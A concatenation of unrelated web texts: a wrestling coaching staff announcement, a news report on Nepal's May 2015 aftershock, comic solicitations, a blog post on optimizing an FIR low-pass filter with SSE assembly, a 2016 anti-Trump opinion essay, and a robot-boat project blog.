seasons while leading VT in its march to national prominence. In the two seasons Zadick and St. John were on staff, 11 Hokies earned All-America status and eight wrestlers won ACC individual titles.In 2016, the Hokies finished fourth at the NCAA Championships, their first trophy-finish in program history and the best by an ACC squad ever. In 2017, Virginia Tech won its third ACC tournament title and posted its fifth-straight top-10 finish at the NCAA Championships.Metcalf joined USA Wrestling in November of 2016 where he worked under National Freestyle Coach Bill Zadick, the older brother of Mike Zadick. Metcalf's duties included coaching the age-group men's freestyle World Teams, directing the freestyle resident athletes at the U.S. Olympic Training Center and serving as an assistant coach on the Senior national team.Zadick, St. John and Metcalf all had stellar collegiate careers on the mat for the University of Iowa.Zadick, who will be an Associate Head Coach for the Cyclones, was a three-time All-American (2000-02), winning the 149-pound Big Ten title in 2002. With Zadick in the lineup, Iowa set school records for longest dual unbeaten (84) and winning streaks (69).A native of Great Falls, Mont., Zadick continued to excel as a wrestler internationally. Zadick was 2006 World silver medalist. He also was the 2009 U.S. Senior Nationals freestyle champion at 60kg, won the 2008 U.S. Freestyle Olympic Team Trials at 132 pounds (60 kg) and earned a spot in the 2008 Olympic Games in Beijing, China.St. John, who won the 2013 NCAA title at 157 pounds, became the 18th four-time All-American in Iowa history in 2014. He placed fourth at the NCAA Championships as a freshman, second as a sophomore, first as a junior and fifth as a senior, claiming his spot as one of the most successful Hawkeye wrestlers of all time.The Parnell, Iowa, native concluded his collegiate career with a record of 106-17. St. John was the 2012 Big Ten champion and a two-time Big Ten runner-up at 157 pounds. He posted a record of 31-2 in his national championship campaign of 2012-13, earning Iowa's Mike Howard Most Valuable Wrestler Award.Metcalf is one of the most decorated wrestlers in Iowa history. He won two NCAA titles (2008, 2010) and was three-time NCAA finalist (2008-10) in his three seasons wrestling for the Hawkeyes.A native of Davison, Mich., Metcalf won the 2008 Dan Hodge trophy, given annually to the nation's best collegiate wrestler, and helped the Hawkeyes to three NCAA team titles (2008, 2009, 2010).Metcalf was a member of four U.S. Freestyle World Teams (2010, 2013, 2014, 2015). He won a gold medal at the 2015 Pan American Games in Canada, and claimed World Cup gold medals in 2014 and 2015 in Los Angeles. Other major international events he won included the 2014 UWW Golden Grand Prix Finals in Azerbaijan and a silver medal at the 2013 Ivan Yarygin Grand Prix in Russia.Metcalf qualified for the U.S. Freestyle National Team for six straight years from 2010-16, winning U.S. Open titles in 2014 and 2015.People work on the reconstruction of a building in Kathmandu after another powerful earthquake struck Nepal.
May 14, 2015 People work on the reconstruction of a building in Kathmandu after another powerful earthquake struck Nepal. Hemanta Shrestha/European Pressphoto Agency
A 7.3-magnitude earthquake hit the country less than a month after the quake that killed more than 8,150.
A 7.3-magnitude earthquake hit Nepal less than a month after the quake that killed more than 8,150. Nepalis are still in need of shelter and other kinds of aid.
A 7.3-magnitude earthquake hit Nepal less than a month after the quake that killed more than 8,150. Nepalis are still in need of shelter and other kinds of aid.
Seconds after a 7.3-magnitude aftershock rocked Nepal on Tuesday, Nepalis again rushed into the streets, crying, screaming, searching desperately for open ground — and their loved ones.
Politicians in parliament fled from their seats. In remote villages, houses that were already wobbling collapsed completely. Mountains cracked and slid.
The temblor was the largest jolt in the Himalayan nation since the devastating April 25 earthquake that claimed more than 8,000 lives and left more than half a million homes flattened or damaged. The death toll grimly rose throughout the day — to more than 50 combined in Nepal and northern India so far, authorities said.
With search-and-rescue efforts underway again, a U.S. Marine helicopter went missing Tuesday near Charikot, a town about 45 miles east of the capital, the U.S. military said. According to Army Maj. Dave Eastburn, a spokesman for the U.S. Pacific Command, the UH-1Y “Huey” helicopter was carrying two Nepali soldiers and six U.S. Marines when it was declared missing while conducting humanitarian assistance and disaster relief operations.
Eastburn said personnel of the military’s Joint Task Force 505 were responding to the emergency.
In the capital, Kathmandu, residents streamed into the streets, clogging roads and overwhelming the country’s already weak mobile-phone network.
Many of them had just begun tentatively returning to their homes, but they vowed that they would be sleeping outside under trekking tents or in their cars again Tuesday night. Nepali police appealed on Twitter for residents to stay outside in the open but off the roads and off their telephones.
Overwhelmed hospitals would once again be treating patients — even the critically ill — outside in tents for fear of aftershocks. At Civil Service Hospital in Kathmandu, dozens of injured were being ferried in by friends and relatives on improvised stretchers, by motorcycle or in cars.
At Tribhuvan University Teaching Hospital, Baburam Tamang, 40, a day laborer, writhed on the floor, crying. Both of his legs were badly fractured. He had been working to repair the roof of a house damaged in the April 25 earthquake when the second one hit, leaving him trapped under wood and bricks.
“Suddenly the quake came and I fell down from the second floor,” he said. “I thought... I may die there.”
He was quickly rescued by neighbors. They delivered him to Nepali soldiers, who brought him to the hospital.
“My future is gone,” Tamang said, weeping. “I may not be able to work again.”
An earthquake centered close to Mount Everest that could be felt as far away as northern India and Bangladesh struck Tuesday afternoon, felling buildings already weakened by last month’s quake. (Reuters)
The South Asian country of 28 million had been trying to recover after last month’s devastation. Shops and markets were starting to reopen, and electricity had been restored. Now the broadest relief effort in the country’s history has been stopped in its tracks.
[Quake-hit region struggles back to life]
Military rescue operations will run parallel with relief operations, according to Khagaraj Adhikari, Nepal’s minister of health and population. Many foreign rescue teams had already left the country, he said, but the Nepali government would ask those remaining to stay until the new crisis has passed.
That includes the urban search-and-rescue teams from both Fairfax County, Va., and the Los Angeles County Fire Department, who were in Nepal as part of a disaster-response team sent by the U.S. Agency for International Development. They were back at the rescue work Tuesday, along with some of the U.S. Marines and Army soldiers posted to Nepal to aid in assessing damage and delivering food and shelter kits. The United States has committed nearly $26 million in humanitarian assistance.
In recent days, rescue and aid workers had joined doctors, Red Cross responders and Nepali military and police to reach flattened villages in the mountains, where they were still searching for and cremating the dead.
Jennifer Hardy, 33, a worker for Catholic Relief Services based in Baltimore, said she was distributing tarpaulins and hygiene kits in a remote village in the heavily damaged Gorkha area when the quake hit just after lunchtime.
“People started immediately crying, even though we were in a big open area,” she said. She clutched an elderly grandmother for support, Hardy said, and around them, the leaves of mango trees began to fall like snow.
Things worsened when the villagers began to hear the collapsing of nearby buildings, then could not reach family members on jammed phone lines, Hardy said.
“That was almost more stressful than the earthquake itself,” she continued. “It was heartbreaking to see them so distressed. They kept crying and crying for hours.”
In Tuesday’s chaos, many aid workers were feared trapped. Nichola Jones, a spokeswoman for the International Committee of the Red Cross in Nepal, said a Canadian medical team was trapped in the Tatopani area, close to the quake’s epicenter.
Team members reported that a nearby mountain had dissolved into a rocky landslide, leaving them miraculously alive and covered in dust but essentially stranded.
“That’s going to be the challenge for us now, to get back to these remote areas where we had just been managing to reach in the last few days,” Jones said. The rainy season is fast approaching, and landslides will be a constant concern.
The U.S. Geological Survey said this latest earthquake struck Nepal early Tuesday afternoon about 11 miles southeast of Kodari, near the Nepal-China border. The reverberations were felt hundreds of miles away in New Delhi, Bangladesh and Tibet.
[Everest survivor: “Like the world was coming to an end”]
No foreign climbers remained on Mount Everest, after the April 25 quake had triggered an avalanche that plowed through the base camp and left at least 20 climbers dead. The spring climbing season had been called off, and most of the foreigners had been evacuated or had hiked down from camp. It was not clear how many of their sherpas, the Nepali mountain guides, or staff had remained behind.
Ang Tshering Sherpa, president of the Nepal Mountaineering Association, said he spoke to some sherpas in high-altitude villages on the way to Mount Everest via satellite phone just minutes after the latest earthquake hit. The sherpas said their villages had been badly hit by the quake.
Pradeep Bashyal in Kathmandu and Xu Jing in Beijing contributed to this report.
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A tent city becomes a community
Ancient temple a casualty of the quakeIt’s that time of the month! We’ve submitted our March/April books for retailers to check out and that means we’re sharing them with you too!
BIRTHRIGHT #15
STORY: JOSHUA WILLIAMSONART / COVER A: ANDREI BRESSAN & ADRIANO LUCASCOVER B: JAMES STOKOEMARCH 932 PAGES | Full Color | Teen+$2.99
END OF A STORY ARC
Has the Rhodes family been reunited for sinister reasons? Their biggest family secret REVEALED this issue!
Plus a killer “Hero’s Journey” variant by James Stokoe (ORC STAIN)!
BIRTHRIGHT Volume 3 Trade Paperback
STORY: JOSHUA WILLIAMSONART/COVER: ANDREI BRESSAN & ADRIANO LUCASAPRIL 20112 PAGES | Full Color | Teen+$12.99
As Mikey and Brennan’s quest to hunt Terrenos’ worst war criminals intensifies, their parents make deals with new and dangerous allies to protect their sons… but a mysterious foe debuts, threatening to destroy the Rhodes family forever.
Collects BIRTHRIGHT #11-15
OUTCAST BY KIRKMAN & AZACETA #17
STORY: ROBERT KIRKMANART/COVER: PAUL AZACETA & ELIZABETH BREITWEISERMARCH 2332 PAGES | Full Color | Mature$2.99
The Damage Done.
Megan has to come to grips with the horror of what she did while possessed by a demon.
THE WALKING DEAD #152
STORY: ROBERT KIRKMANART: CHARLIE ADLARD, STEFANO GAUDIANO & CLIFF RATHBURNCOVER: CHARLIE ADLARD & DAVE STEWARTMARCH 232 PAGES | Black & White | Mature$2.99
United in Fear.Optimizing a FIR filter routine
Recently I had to implement a low-pass audio filter in software. A low-pass filter is so named because it passes low frequencies while muting high ones, similar to what you'd get by turning treble all the way down on a stereo. Low-pass filters have a number of uses, the particular use in this case being to prevent aliasing in a subsequent resampling pass.
There are many ways to implement a low-pass filter, but the method that I used was a finite impulse response (FIR) filter. FIR filters have a few advantages, such as simplicity of implementation in software and ease of making linear-phase filters. The cutoff frequency was fairly high, so the FIR filter kernel didn't need that many taps -- a 15 tap symmetric filter was enough.
To retell the tale, let's start with this routine:
void filter(float *dst, const float *src, size_t n, const float *kernel) {
const float k0 = kernel[0];
const float k1 = kernel[1];
const float k2 = kernel[2];
const float k3 = kernel[3];
const float k4 = kernel[4];
const float k5 = kernel[5];
const float k6 = kernel[6];
const float k7 = kernel[7]; do {
float v = src[7] * k0
+ (src[ 6] + src[ 8]) * k1
+ (src[ 5] + src[ 9]) * k2
+ (src[ 4] + src[10]) * k3
+ (src[ 3] + src[11]) * k4
+ (src[ 2] + src[12]) * k5
+ (src[ 1] + src[13]) * k6
+ (src[ 0] + src[14]) * k7; ++src; *dst++ = v;
} while(--n);
}
So... how fast does it run? Well, compiled using Visual C++ 2010 and run on a Core 2, the timing is about 125,000 cycles for 4,096 samples, or 30.5 cycles/sample. Not too surprising, considering that there are 22 elementary operations per sample (14 additions, 8 multiplications). This is with cache effects mostly discounted, as I test routines like this by running them 10 times in a loop and taking the minimum time -- cache effects are important, but they're too often noise when profiling a routine like this and can make it hard to compare routines. Therefore, all of these timings are ideal timings with regard to memory delays.
Another thing you might notice is the lack of __restrict; I'm omitting them for brevity here, although they were used on the timings. I know why the restrict keyword exists and how it helps optimization, but truth be told, I've never seen a single case where the Visual C++ compiler took advantage of it, no matter how many times I've tried it.
Alright, that's the easy case....
It's not terribly useful to benchmark a routine on a fast system, so we're going to try something harder: my trusty little Atom-based netbook. Survey says: 442,000 cycles, or 108 cycles/sample. Ugh. Well, we know that an Atom isn't as fast as a Core 2, so this isn't surprising. However, we can do better than this. First stop is to look at the disassembly:
fld dword ptr [eax+8]
add eax,4
fadd dword ptr [eax-4]
add ecx,4
dec edx
fmul st,st(4)
fld dword ptr [eax]
fmul st,st(6)
faddp st(1),st
fld dword ptr [eax+8]
fadd dword ptr [eax-8]
fmul st,st(4)
faddp st(1),st
fld dword ptr [eax+0Ch]
fadd dword ptr [eax-0Ch]
fmul st,st(3)
faddp st(1),st
fld dword ptr [eax+10h]
fadd dword ptr [eax-10h]
fmul st,st(2)
faddp st(1),st
fld dword ptr [eax+14h]
fadd dword ptr [eax-14h]
fmul dword ptr [esp+10h]
faddp st(1),st
fld dword ptr [eax+18h]
fadd dword ptr [eax-18h]
fmul dword ptr [esp+14h]
faddp st(1),st
fld dword ptr [eax+1Ch]
fadd dword ptr [eax-1Ch]
fmul dword ptr [esp+18h]
faddp st(1),st
fstp dword ptr [esp+2Ch]
fld dword ptr [esp+2Ch]
fstp dword ptr [ecx-4]
jne 0000005F
Not too bad, but there are some obvious issues here. In my experience, Visual C++ tends not to interleave calculations and instead prioritizes clustering related operations together. This is not a bad idea for a CPU like the Core 2, which has both out-of-order execution and an anemic lack of general purpose registers. However, it's not great for the in-order Atom because it means that the whole routine is full of stalls, since nothing can run in parallel. We need to do something about this.
The most obvious thing to do would be to try to reorder the instructions to gain some parallelism. I won't spend time here doing so, but suffice it to say that I tried this and it executed even more poorly than the straightforward code above. A bit of checking with Agner Fog's optimization tome reveals that the Atom has two big problems in this area, one being pathological scheduling with back-to-back x87 instructions and another being a non-free cost for the FXCH instruction. The Core 2, of course, doesn't mind and actually likes the rescheduled instruction stream better. We know that it's possible to do better on both CPUs, though, so it's not worth wasting any more time with x87.
Time for SSE
You might wonder why I didn't try throwing /arch:SSE on the compiler. Well, I did, but the x86 version of Visual C++ is generally reluctant to use SSE scalar math instructions even when you tell it to, and refused to recompile the inner loop as such. Part of the reason is that it's constrained by the ABI, which requires returning parameters in st(0), and I suspect it's also partly due to some older CPUs that executed x87 better than scalar SSE. Therefore, we'll have to go to assembly for this one. The good news is that in SSE we don't have to deal with a stupid register stack:
movss xmm0, [ecx+7*4] movss xmm1, [ecx+6*4]
mulss xmm0, [edx+0*4] movss xmm2, [ecx+5*4]
addss xmm1, [ecx+8*4] movss xmm3, [ecx+4*4]
addss xmm2, [ecx+9*4]
mulss xmm1, [edx+1*4] movss xmm4, [ecx+3*4]
addss xmm3, [ecx+10*4]
mulss xmm2, [edx+2*4]
addss xmm0, xmm1 movss xmm5, [ecx+2*4]
addss xmm4, [ecx+11*4]
mulss xmm3, [edx+3*4]
addss xmm0, xmm2 movss xmm6, [ecx+1*4]
addss xmm5, [ecx+12*4]
mulss xmm4, [edx+4*4]
addss xmm0, xmm3 movss xmm7, [ecx+0*4]
addss xmm6, [ecx+13*4]
mulss xmm5, [edx+5*4]
addss xmm0, xmm4 mulss xmm6, [edx+6*4]
addss xmm0, xmm5 addss xmm7, [ecx+14*4]
addss xmm0, xmm6 mulss xmm7, [edx+7*4]
add ecx, 4 addss xmm0, xmm7 movss [ebx], xmm0
add ebx, 4 dec eax
jne xloop
Core 2 likes this about the same as the interleaved x87 asm routine at about 88,000 cycles (21.5 cycles/sample). Atom appreciates it a lot more, however, and grinds through it twice as fast at 200,000 cycles (49 cycles/sample). Not bad.
So we've established that scalar SSE floating-point runs much, much better on Atom than x87. I guess the hardware designers are sick of the register stack, too. We're still doing everything in scalar math, however, so next stop is vectorization.
Vectorizing a FIR routine
If you take a look at the original routine again you'll notice that I took advantage of the symmetric filter kernel and added symmetric taps together before scaling by the common weighting factors. Well, this doesn't work as well for a vectorized routine, because the symmetry is around a single tap, and when dealing with vectors that means some annoying shuffling to get everything in place. In this case, it seems more trouble than it's worth, so we'll ditch it and just evaluate the filter kernel without the symmetry optimization. This means double the multiplications, but those are about the same cost as the shuffles would be anyway as long as we keep the pipelines fed.
That leaves the question of how to evaluate the filter. Ordinarily I construct FIR loops to read from a sliding window, weighting input samples to produce a single output sample. However, for vectorized routines I've warmed up to the alternate strategy of inverting the filter and accumulating output samples into a sliding window instead. There are two reasons to do this: (1) read/modify/write is no more costly if you can keep the destination in a register, and more importantly (2) it avoids the need for expensive horizontal adds.
First stab, using intrinsics:
__m128 zero = _mm_setzero_ps();
__m128 x0 = zero;
__m128 x1 = zero;
__m128 x2 = zero;
__m128 x3 = zero;
__m128 f0;
__m128 f1;
__m128 f2;
__m128 f3; // init filter
__m128 k0 = _mm_loadu_ps(kernel + 0);
__m128 k1 = _mm_loadu_ps(kernel + 4); f0 = _mm_shuffle_ps(k1, k1, _MM_SHUFFLE(0, 1, 2, 3));
f1 = _mm_shuffle_ps(k0, k0, _MM_SHUFFLE(0, 1, 2, 3));
f2 = _mm_move_ss(k0, k1);
f2 = _mm_shuffle_ps(f2, f2, _MM_SHUFFLE(0, 3, 2, 1));
f3 = _mm_move_ss(k1, zero);
f3 = _mm_shuffle_ps(f3, f3, _MM_SHUFFLE(0, 3, 2, 1)); // prime
for(int i=0; i<14; ++i) {
x0 = _mm_move_ss(x0, x1);
x0 = _mm_shuffle_ps(x0, x0, _MM_SHUFFLE(0, 3, 2, 1));
x1 = _mm_move_ss(x1, x2);
x1 = _mm_shuffle_ps(x1, x1, _MM_SHUFFLE(0, 3, 2, 1));
x2 = _mm_move_ss(x2, x3);
x2 = _mm_shuffle_ps(x2, x2, _MM_SHUFFLE(0, 3, 2, 1));
x3 = _mm_move_ss(x3, zero);
x3 = _mm_shuffle_ps(x3, x3, _MM_SHUFFLE(0, 3, 2, 1));
__m128 s = _mm_load1_ps(src++);
x0 = _mm_add_ps(x0, _mm_mul_ps(f0, s));
x1 = _mm_add_ps(x1, _mm_mul_ps(f1, s));
x2 = _mm_add_ps(x2, _mm_mul_ps(f2, s));
x3 = _mm_add_ps(x3, _mm_mul_ps(f3, s));
} // pipeline
do {
x0 = _mm_move_ss(x0, x1);
x0 = _mm_shuffle_ps(x0, x0, _MM_SHUFFLE(0, 3, 2, 1));
x1 = _mm_move_ss(x1, x2);
x1 = _mm_shuffle_ps(x1, x1, _MM_SHUFFLE(0, 3, 2, 1));
x2 = _mm_move_ss(x2, x3);
x2 = _mm_shuffle_ps(x2, x2, _MM_SHUFFLE(0, 3, 2, 1));
x3 = _mm_move_ss(x3, zero);
x3 = _mm_shuffle_ps(x3, x3, _MM_SHUFFLE(0, 3, 2, 1));
__m128 s = _mm_load1_ps(src++);
x0 = _mm_add_ps(x0, _mm_mul_ps(f0, s));
x1 = _mm_add_ps(x1, _mm_mul_ps(f1, s));
x2 = _mm_add_ps(x2, _mm_mul_ps(f2, s));
x3 = _mm_add_ps(x3, _mm_mul_ps(f3, s)); _mm_store_ss(dst++, x0);
} while(--n);
This is a bit more obscure than the original routine, so a bit of explanation: x0-x3 form a 16 output sample pipeline where we shift in zeros at the high end (x3.w) and shift out samples at the low end (x0.x). At the same time, we bring in input samples one at a time and accumulate its contribution to each of the 16 output samples according to the input sample's relative location to the output sample. This is done simply by splatting out the input sample 16 times and scaling that vector by the reversed kernel (which is the same, since it's symmetric). Each turn of the crank merges one input sample, shifts the window over one, and writes out one output sample. There is one other minor gotcha, which is that we have to prime the pipe with 14 input samples first -- but that's just the normal loop with the output sample discarded.
Core 2 clocks in at 66,000 cycles (16.1 cycles/sample), Atom at 141,000 cycles (34.4 cycles/sample). That looks a bit better. We're now at about 2-2.5x over the original scalar code.
Problem in the machine code
If we dump the disassembly generated by VC10, there's a problem:
movss xmm6,xmm1
movss xmm3,xmm6
movss xmm6,xmm2
movss xmm1,xmm6
movss xmm6,xmm0
movss xmm2,xmm6
movss xmm6,xmm4
movss xmm0,xmm6
movaps xmmword ptr [esp+10h],xmm0
movss xmm0,dword ptr [eax]
shufps xmm0,xmm0,0
movaps xmm6,xmm0
mulps xmm6,xmm5
shufps xmm3,xmm3,39h
addps xmm3,xmm6
movaps xmm6,xmm0
mulps xmm6,xmmword ptr [esp+20h]
shufps xmm1,xmm1,39h
addps xmm1,xmm6
movaps xmm6,xmm0
mulps xmm6,xmmword ptr [esp+30h]
mulps xmm0,xmmword ptr [esp+40h]
shufps xmm2,xmm2,39h
addps xmm2,xmm6
movaps xmm6,xmmword ptr [esp+10h]
mov ecx,edx
add eax,4
add edx,4
dec esi
shufps xmm6,xmm6,39h
addps xmm0,xmm6
movss dword ptr [ecx],xmm3
jne 00000330
What the heck is going on with the movss instructions at the top of the loop? Not too bash the VC++ team too much, but unnecessary register-to-register moves have been an issue with intrinsics in VC++ all the way back to the VC6 Processor Pack, and it's astonishing that even with the renewed focus on intrinsics code generation in VC10 the problem still hasn't been solved (bug 556347). Sigh. Back to assembly it is:
movss xmm7, [ecx]
movss xmm0, xmm1
shufps xmm7, xmm7, 0 movaps xmm4, [esp]
movss xmm1, xmm2
shufps xmm0, xmm0, 00111001b movaps xmm5, [esp+16]
movss xmm2, xmm3
shufps xmm1, xmm1, 00111001b pxor xmm6, xmm6
add ecx, 4
shufps xmm2, xmm2, 00111001b movss xmm3, xmm6
movaps xmm6, [esp+32]
mulps xmm4, xmm7 shufps xmm3, xmm3, 00111001b
mulps xmm5, xmm7
mulps xmm6, xmm7 mulps xmm7, [esp+48]
addps xmm0, xmm4
addps xmm1, xmm5
addps xmm2, xmm6
addps xmm3, xmm7 movss [edx], xmm0
add edx, 4 dec eax
jne xloop
Pipeline is in XMM0-XMM3, source pointer is ECX, dest pointer is EDX. I've omitted setup code here, but don't worry, I'll provide it later. Results: Core 2 takes 40,000 cycles (9.8 cycles/sample), Atom takes 89,000 cycles (21.8 cycles/sample). That's about a third faster than the compiler.
Scheduling for Atom
Can we get this lower? Definitely, at least for the Atom. Specifically, there are some stalls in the above code that are causing problems:
MULPS can only be issued in pipe 0 every two cycles, and has a five cycle latency.
ADDPS can only be issued in pipe 1, and has a five cycle latency.
Therefore, we've got to reorder the instructions to clear the stalls. Brace yourself, this is going to be messy:
movss xmm7, [ecx]
movss xmm0, xmm1 shufps xmm7, xmm7, 0 mulps xmm4, xmm7
movss xmm1, xmm2 shufps xmm0, xmm0, 00111001b
add ecx, 4 mulps xmm5, xmm7
movss xmm2, xmm3 shufps xmm1, xmm1, 00111001b
movaps xmm6, xmm7 mulps xmm6, [esp+32] shufps xmm2, xmm2, 00111001b
addps xmm0, xmm4 mulps xmm7, [esp+48]
add edx, 4 psrldq xmm3, 4
addps xmm1, xmm5 movaps xmm4, [esp]
dec eax movaps xmm5, [esp+16]
addps xmm2, xmm6 movss [edx-4], xmm0 addps xmm3, xmm7
jne xloop
I've added a single SSE2 instruction, PSRLDQ, to avoid an issue with register pressure (couldn't spare a register for zero). It's worth noting that while the Atom is capable of running two instructions per cycle at peak, there are unused instruction slots in the loop above. The reason is that the loop is bottlenecked on instructions that can only execute in the first pipe, so there's no possible way to drop a clock by reordering instructions alone. This is because pipe 0 handles too many types of instructions we need here: load/store, shift, and vector multiply. It would be easier if load/store instructions executed in pipe 1, but the problem is that would likely make MULPS xmm, m128 instructions unpairable, which would have made it a wash here.
Incidentally, Agner's tome says there is a 4-5 clock latency to read memory for vector instructions on the Atom, but I wasn't seeing that at all on loads. Good thing, too, because it would have made the code run much slower.
This runs at about the same speed on Core 2, but on Atom, it runs another third faster: 62,000 cycles, or 15 cycles/sample. By my estimates the code should actually run at 14 cycles/sample, but I have been unable to eliminate the last cycle for some reason |
of those votes was for a candidate with radically different views than Trump, and Republican leaders should not easily abandon the 60% of the party that wanted a Republican nominee who stood for Republican ideas, ideals and proposals.
Paul Ryan comes in for most of Stinchfield’s ire, despite the fact that he has been equivocal and tentative thus far in withholding his support for Trump. But Ryan’s not only the highest-ranking Republican in the country, he’s obligated to do what is best for his two constituencies – the voters of his district (who backed Ted Cruz over Trump in the April 5 primary) and, as Speaker, the members of the GOP House caucus. If his approach to Trump has been a cautious, arms-length one, perhaps Stinchfield should consider that this is because a wholehearted embrace of Trump would be very bad for a lot of Ryan’s caucus, trapped as they are between irate “never Trump” conservatives and non-Republicans in their district electorates who are horrified by Trump. Stinchfield claims that “Trump and the Ryan Establishment both need each other now more than ever. Trump needs their money and support, they need Trump to win back the White House to help roll back President Obama’s damaging agenda.” But this assumes three facts not in evidence, which Stinchfield makes no effort to support: (1) that Trump has a realistic prospect of winning the White House, rather than having destroyed such prospects for the GOP already by winning the nomination; (2) that support from Ryan would help Trump win, rather than diluting both of their brands at once; and (3) that anything in Trump’s record suggests that he would roll back any of Obama’s agenda. Stinchfield claims that Trump ” wants to build a border wall, beef up our military, simplify the tax code, and appoint a ‘Scalia-like’ Supreme Court nominee,” but aside from the wall, there’s no reason to suspect he means any of this, given how often he has also said the opposite (Trump celebrated his clinching the nomination by denouncing his own tax plan, and just last month said he did not want to change the abortion laws).
Playing To Win, Not Rooting For Laundry
More broadly, Stinchfield gives short shrift to how very dangerous Trump is to our party and our movement, to say nothing of the fact that his ignorance – which Stinchfield recognized a month ago, when he thought we might stop Trump – and instability would make him a perilously bad Commander-in-Chief for the country. I’m all in favor of telling people to grow up and take one for the team in most situations, but Trump is truly a bridge too far, much worse than any prior GOP nominee, and Stinchfield completely ignores the reasons why.
One of the oldest and most anti-social arguments thrown around routinely in primary elections is the threat to abandon the party’s nominee in the general election. I have for years argued against such threats, which are counterproductive and dangerous. Politics is a team sport, and that sometimes means accepting members of the team who are not our first choice. But just as even the mildest of citizens can be pushed in the direst case to the point of armed rebellion, we finally face a “Republican” nominee, in Donald Trump, so awful and so untrustworthy that I and a great many others could not possibly vote for him in November, no matter his opponent. The reason for that is not one flaw or deviation or another from the party platform, but the whole set of problems he presents put together.
The point of voting Republican is to win: win elections, so we can win policy battles, so we can build our movement to win more elections and more policy battles, with the ultimate goal of making America a better place by implementing ideas that work. Sometimes you have to make compromises between elections and policy – win a little less here to win a little more there, win a little less now to win a little more in the future, go big now and pay the piper at the next turn. Sometimes, for the sake of teamwork, one faction of the party has to take a bit of a back seat to another faction, without staging a teary-eyed breakup every time your own favorite people and agendas don’t come out at the top of the pile. But unless you draw a check from the Party (which believe me, I don’t), winning elections solely for the sake of winning elections is not worth the effort – we don’t get involved in politics to “root for laundry,” just mindlessly cheer on one side simply because it wears an “R” on its jersey. You have to actually deliver something different than what your opponents would deliver, or the whole exercise is a waste of time.
Doing that is not easy, and our party has failed many times to deliver what it promises, partly for lack of nerve, partly for lack of cohesion and competence, partly because some of our leaders do not actually believe the stuff they say they want to do. Sometimes they deserve to lose as a result, but we the voters do not. And the answer to a failure to deliver on promises is not to replace people who don’t believe in some of our goals and principles with people who don’t believe in any of our goals and principles. Which is Trump. One of the hallmarks of Trump – which we’ve seen again and again in his treatment even of those who endorse him enthusiastically – is that he sees loyalty as a one-way street, and will do nothing to help anyone else. Notice how Stinchfield (as is routine in this genre of “get on the Trump Train” harangue) spends not a word of his article arguing for what Trump should do to convince anyone they should support him. To the contrary, he basically tells Trump to tell the rest of us, “you’ll get nothing and like it”:
Trump needs to play hardball with Ryan and “The Establishment.” Trump purports to be a “deal maker.” He needs to realize he is operating from a position of strength, much to the dismay of GOP leadership.
So Stinchfield not only thinks we’re all obligated to support Trump, he doesn’t even think it’s a legitimate role of the party’s leaders to use what little leverage they have to try to negotiate with Trump now to throw a bone now and then to 60% of the party’s voters. How exactly is this supposed to be followed by a Trump Administration in which Republican voters or ideas have any influence at all?
“But Hillary!” Well, yes, I realize how bad Hillary Clinton is. But if your sole anti-anti-Trump argument is how horrible Hillary is, you still have to face the facts that (1) Trump himself thought it was a good idea in the recent past to support Hillary Clinton, including to be President, and (2) Trump’s nomination has extinguished any possibility of stopping her, and his enablers and supporters must be given an object lesson in the catastrophe they have brought upon us, so we don’t repeat the error in the future.
It gets even worse than that. Because Trump isn’t just running a dead-loser campaign with no loyalty to conservative principles or to Republican officeholders and candidates, and an embarrassing clown show everywhere he goes. He’s also been a willing magnet for every sort of bigotry under the sun, in ways that promise to poison everything we stand for or wish to accomplish ever again. As Wisconsin conservative talk radio icon Charlie Sykes put it:
[T]his is not just ideological, it’s not just the fact that he’s abandoned one position after another or that he has the penchant for internet hoaxes or conspiracy theories. I mean a week ago tonight, remember, he was peddling the notion that Ted Cruz’s dad had something do with the JFK assassination. So there are people who say that just because of party loyalty we’re supposed to forget all of that. I just don’t buy that. Because I’ve cautioned my fellow conservatives, you embrace Donald Trump, you embrace it all. You embrace every slur, every insult, every outrage, every falsehood. You’re going to spend the next six months defending, rationalizing, evading all that. And afterwards, you come back to women, to minorities, to young people and say, that wasn’t us. That’s not what we’re about. The reality is, if you support him to be president of the United States, that is who you are, and you own it.
Now, personally, I agree that Hillary Clinton is so terrible that I am willing to forgive those who conclude at the end of the day that they need to vote for Trump, and for the same reason I am inclined to forgive those who see Trump as so awful they must vote for Hillary. There are no good options remaining. For my part, I disagree with both camps, and will cast a protest vote rather than offer material cooperation to either of them.
But Sykes is right: if you do more than just cast a reluctant ballot for Trump, you own it all. There is nothing hypocritical or anti-American about standing up and refusing to be bullied into doing that. Indeed, in a country founded by revolution and a party that rose from the ashes after its founders bolted the Whigs and stood on its principles even when those principles pushed the nation into Civil War, there is hardly anything more American than that.Snoopy was to try again on Sunday 7th January 2018, just before High Tide. But see First 2018 Seaside Trip Page. In brief: surf was much higher than predicted, so Snoopy chickened out :-)
Meanwhile, we work with friends around the World on relevant technology. e.g. alternative SatComs, Radio, and GSM communications; low cost GPS-Tracker-Camera products; Dick checked out a PocketCam GPS-Tracker-Camera near Portsmouth.
See Woodstock's tests on Horseshoe lake, including new technology.
In 2017 Snoopy had 10 days of 24/7 test on Bray Lake. Then we spent weeks diagnosing problems of EMC radio interference with his GPS units - easily fixed. It was that FM Transmitter bug! Then diagnosing "zig-zag sailing" that had plagued us for years: understeering - also easily fixed. We've made one recent Brief Attempt in December that lasted minutes! :-)
See "2.2 The Atlantic Attempt itself" below, for details such as where Snoopy will sail from. We await that "Weather Window" and our Team-Joker launch team availability. See Blog7 for later news, and details of preperation for the next Atlantic Attempt. See BlogX for supporting experimental work, for use in this and later robot boats. Click on pictures to enlarge or play.
You may like that 16th August video above, with Peter and the Australian MicroMite. Team-Joker now has Horseshoe Lake as an alternative to Bray Lake for tests.
Here are some videos of testing Team-Joker's "Woodstock" on Horseshoe lake, starting with the Woodstock Team Briefing...
Woodstock on Bray Lake, starting with a radio control test. Woodstock Tacking Tests including with Snoopy. Meanwhile, Boat 11 relaxes at home ;-)
Fun and games with Team-Joker, Woodstock, and Snoopy on Bray Lake on 13th and 17th January, then Saturday 9th February 2019. Click on pictures to play video or enlarge.
2.1. Tests before an Atlantic Attempt - taken from end of Blog6...
See "BlogX", describing background experimental work from 2008 until now. See the Recce, Compass, Software, and many Blog pages, for details of the vast ammount of experiments and testing, done over the years. Yes, there is a lot there, and you need a wide screen to scroll through it. I wish I'd written the blogs tidier, but they are better than nothing, and my time is precious.
